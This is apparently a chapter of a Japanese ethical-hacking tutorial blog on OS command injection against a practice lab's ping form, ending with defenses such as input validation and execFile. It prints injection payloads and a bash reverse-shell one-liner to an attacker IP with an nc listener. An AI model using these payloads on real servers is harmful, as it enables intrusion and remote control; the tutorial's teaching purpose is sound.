OSコマンドインジェクション
では続いてOSコマンドインジェクションに移りましょう。
OSコマンドインジェクションは、アプリケーションに存在する深刻な脆弱性の1つです。攻撃者は外部から不正なOSコマンドを注入し、それを実行することが可能です。この攻撃手法ではシステム内で任意のコマンドを実行できるため、情報の漏洩やサーバーの乗っ取りなど、様々な被害が発生する可能性があります。
OSのコマンドとは例えば、Linuxでは「cat」や「ls」などです。環境構築の回で少し触れたと思います。
例えばファイルを開く場面を考えましょう。Pythonでは以下の様にしてファイルを開くことができます。
with open('file.txt', 'r') as file: content = file.read() print(content)
Pythonでは上記の様に、open関数を用いることでファイルを開くことができます。
基本的にPythonでは、open関数を用いてファイルを開きますが、下記の様にLinuxのコマンドを使用することも可能です。
import subprocess result = subprocess.check_output(['cat', 'file.txt']) return result.decode('utf-8')
Pythonでは「subprocess」モジュールを使用することで、OSのコマンドを実行することが可能です。
2つのプログラムでは、ファイルを開いて中身を確認するというゴールは一緒です。ゴールは一緒でも、標準関数を使う方法とOSのコマンドを呼び出す方法があります。
今回の例では、標準関数を使用したほうが簡潔にコードを書くことができますが、実行したい内容によっては、OSのコマンドを使用したほうが便利な場面も多々あります。そういった際に、プログラムからOSのコマンドを呼び出します。
そしてOSコマンドインジェクションを理解するうえでもう1つ大切なのが、コマンドセパレータです。
例えばLinuxで「whoami」コマンドと「date」コマンドを同時に実行したい場面があるとします。(実際はないでしょうが...)
そのような時に例えば「;」というコマンドセパレータを使用してみましょう。
画像の様に、2つのコマンドを同時に実行することができました。
コマンドセパレータにはたくさん種類があり、それぞれに特徴があるので、気になる方は下記リンクを参考にしてください。
stackoverflow.com
OSコマンドインジェクションを理解する上で必要な知識は揃いました。
では実際に攻撃してみましょう。
OSコマンドインジェクション(Level1)
「Pingプログラム」という画面が表示されたはずです。
名前から想像がつく方もいるかもしれませんが、入力したIPアドレスにPingを送信するものです。
Pingを知らない人は下記リンクを参考にしてください。
www.cman.jp
では一度ローカルループバックアドレスである「127.0.0.1」を入力してみましょう。
ちなみにここに入力したIPアドレスにはPingリクエストが実際に送信されるので、適当なIPアドレスはできるだけ入力しないようにお願いします。仮に入力してしまっても、攻撃をしているわけではありませんのでご安心ください。
ブラウザ上ではアウトプットが綺麗に見えないので、Burp Suiteで確認しましょう。
レスポンスからコマンドのアウトプットが確認できます。
アウトプットからLinuxのPingコマンドを使用しているのではないかと予想してみましょう。
例えば下記の様なコマンドを実行していると予想できます。
ping -c 4 127.0.0.1 # 127.0.0.1はユーザーが入力する部分
であれば、先ほどお伝えしたコマンドセパレータで任意のコマンドを入力できます。
では「date」コマンドを実行してみましょう。
ping -c 4 127.0.0.1; date
入力する値としては、下記になります。
127.0.0.1;date
ちなみに「127.0.0.1」の部分は省略しても構いません。というのもコマンドセパレータ「;」は前のコマンドが成功したかどうかにかかわらず、コマンドセパレータ後のコマンドを実行するからです。
下記画像ではIPアドレスを省略しています。
Burp SuiteのRepeater機能を使ってペイロードを送信すると、dateコマンドを実行することができます。
これで任意のコマンドを実行することができました。
今回はdateコマンドを使用したので被害があるようには思えませんが、OSコマンドインジェクションが存在すると、かなりの確率でサーバーへ侵入されてしまいます。
詳細はペネトレーションテストの際にお伝えしますが、一度デモンストレーションを行ってみましょう。
今回、サーバーに侵入するため(リバースシェル)のペイロードは下記になります。
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 # 10.0.0.1は攻撃用のKali LinuxのIPアドレスです。4444はポート番号です。
上記のペイロードを入力する前に、Kali Linuxでポートを開きましょう。今回は4444番を開きます。
nc -lvnp 4444
ポートを開いたら、先ほどのペイロードを送信しましょう。
;bash -i >& /dev/tcp/10.0.2.24/4444 0>&1
すると先ほど開いたポートにリバースシェルが到達していることが確認できます。
リバースシェルを取得したということはサーバーへ侵入ができたという事なので、ターゲットのサーバー上でどんなコマンドでも実行することができます。
実際に完全にサーバーを掌握するためには権限昇格をする必要がありますが、基本的に侵入できるとあらゆることが可能になると考えてください。
OSコマンドインジェクションなどのサーバーサイドの脆弱性は、サーバーの侵入に繋がるおそれがあることを理解してください。
OSコマンドインジェクション(Level2)
続いても「Pingプログラム」です。
まずは先ほどと同じペイロードを送信しましょう。
;date
すると下記の様なエラーが発生するはずです。
どうやら先ほどと同じペイロードでは上手くいかないようです。
ではどのように回避できるでしょうか?エラーを基に考えてみてください。
では正解に移ります。
エラーをよく見てみると、pingだけでなくdateコマンドに対してもエラーが発生しています。
エラー文を読むと、dateコマンドに存在しない「-c」というオプションが使用されていることが問題なようです。
このことからLevel2でのpingコマンドの全容を想像することが可能です。Level1と比較してみましょう。
# level1 ping -c 4 127.0.0.1 # level2 ping 127.0.0.1 -c 4
つまり、「-c」オプションとIPアドレスの順番が違うことによるエラーということです。
Level1ではIPアドレス(ユーザーの入力値)の後にコマンドがないので成功していましたが、Level2ではIPアドレスの後にコマンドがまだ続くため、先ほどのペイロードでは失敗してしまいました。
ではどうすればいいのでしょうか?
様々な選択肢がありますが、IPアドレス以降をコメントアウトする方法を使ってみましょう。
ペイロードはこちらになります。
;date #
「#」以降はコメントアウトされるため、「-c」オプションを無視することができます。
では実際に試してみましょう。
すると、dateコマンドが正しく実行されていることが分かります。
今回はコマンドのエラー文がレスポンスとして返ってきましたが、実際の環境ではエラー文が見えないことがほとんどです。
ですので、あえて時間経過を必要とするコマンド(pingなど)や外部への通信を行うコマンド(curlなど)をきっかけに、OSコマンドインジェクションを発見することが多いです。
OSコマンドインジェクションは、デモンストレーションでサーバーに侵入したように非常に危険な脆弱性のため、強固な対策が必要です。
対策
対策は大きく分けて3つ考えられます。
1つ目はインプットのバリデーションです。
今回の例であれば、ユーザーのインプットはIPアドレスに制限されます。ですので、ユーザーのインプットがIPアドレスになっているかどうかを、正規表現などでバリデーションすることが可能です。
2つ目は標準関数をできるだけ使用することです。
本記事の冒頭でお伝えしたファイルを開くという操作をする際は、一般的に標準関数を使用するとお伝えしました。
各プログラミング言語には様々なライブラリが存在するので、OSのコマンドを実行する場面を最小限にすることが大切です。
3つ目は安全にOSのコマンドを実行できる関数を使用することです。
例えばJavaScriptでは下記の様にOSのコマンドを実行できます。
const { exec } = require('child_process'); exec(`ping -c 4 ${address}`, (err, stdout, stderr) => { if (err) { // execute something } // execute something }
exec関数は実際に「Pingプログラム」で使用された関数です。
JavaScriptでは、exec関数でなく、execFile関数を用いることでより安全にOSのコマンドを実行できます。
execFile関数はデフォルトではシェルを起動せず、実行可能ファイルを直接実行するので、他のコマンドを実行することが不可能になります。
const { execFile } = require('child_process'); execFile('ping', ['-c', '4', address], (err, stdout, stderr) => { if (err) { // execute something } // execute something }
以上の3つの対策を組み合わせることで安全にOSのコマンドを実行することが可能です。
お疲れ様でした。
続いてはディレクトリトラバーサルです。
learn-ethicalhacking.hatenablog.com